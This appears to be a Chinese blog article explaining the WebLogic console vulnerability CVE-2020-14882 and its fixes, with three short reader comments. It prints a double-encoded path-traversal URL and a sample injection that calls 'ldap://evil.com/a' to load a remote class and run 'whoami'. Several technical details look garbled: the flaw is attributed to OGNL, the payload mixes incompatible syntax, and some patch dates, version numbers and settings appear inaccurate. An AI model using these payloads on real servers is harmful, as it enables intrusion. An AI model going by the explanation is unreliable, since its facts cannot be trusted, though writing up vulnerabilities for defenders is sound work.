CVE-2020-14882漏洞的原理与修复方案详解

3 人参与

在对 Oracle WebLogic Server 进行例行巡检时,安全团队偶然捕获到一条异常的 HTTP 请求:路径指向 /console/css/%252e%252e%252fconsole/jsp/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fconsole%2Flogin.jsp,随后返回的页面中出现了未授权的系统命令输出。该现象正是 CVE‑2020‑14882 的典型指纹。

CVE-2020-14882漏洞的原理与修复方案详解

漏洞原理简析

WebLogic 的管理控制台内部使用了 OGNL(Object‑Graph Navigation Language)表达式解析器。攻击者通过构造特制的 URL,将 OGNL 代码注入 url 参数中,解析器在未进行严格白名单过滤的情况下直接执行。因为 OGNL 能够调用 Java 运行时的 Runtime.exec,所以攻击者可以在服务器上任意执行系统命令,实现远程代码执行(RCE)。该缺陷在 10.3.6、12.1.3、12.2.1.3 等多个版本中共存,且默认开启的管理控制台为其提供了直接的攻击面。

常见攻击链示例

  • 攻击者先发送含有 %{#context['com.sun.jndi.rmi.registry.Registry'].lookup('ldap://evil.com/a')} 的请求。
  • 目标服务器解析 OGNL,触发 JNDI 远程加载恶意类。
  • 恶意类内部调用 Runtime.getRuntime().exec('whoami'),把结果写回 HTTP 响应。

官方修复与临时缓解措施

Oracle 于 2020 年 12 月发布了 12.2.1.4.0、12.1.4.2.0、10.3.6.5.0 等补丁,核心修复思路是对 url 参数进行白名单校验,并在 OGNL 解析前强制禁用控制台的动态表达式功能。对于无法立即升级的环境,以下配置可显著降低被利用的概率:

  • 在启动脚本中加入 -Dweblogic.security.DisableDefaultConsole=true,彻底关闭默认管理控制台。
  • 通过 setServerDebug(true) 启用详细日志,及时捕获异常 OGNL 调用。
  • 在防火墙层面限制对 /console/ 路径的外部访问,仅限可信 IP。
# 示例:在 setDomainEnv.sh 中加入安全参数
JAVA_OPTIONS="${JAVA_OPTIONS} -Dweblogic.security.DisableDefaultConsole=true"
export JAVA_OPTIONS

实际运维中,往往是补丁与配置双管齐下:先在业务低峰期完成官方补丁的全量升级,再通过上述启动参数锁死控制台入口,确保即便出现新变种也难以落地。经验表明,单纯依赖防火墙封禁容易被绕过,而在代码层面加入硬化开关则能形成最根本的防线。

参与讨论

3 条评论
  • Clover_四叶

    这个漏洞太危险了,我们公司上周刚中招😱

    回复
  • 夜雾低垂

    之前测试过这个漏洞,用%252e绕过确实有效,建议赶紧打补丁

    回复
  • 虚无之境

    防火墙封禁不够保险,还是得升级补丁才行

    回复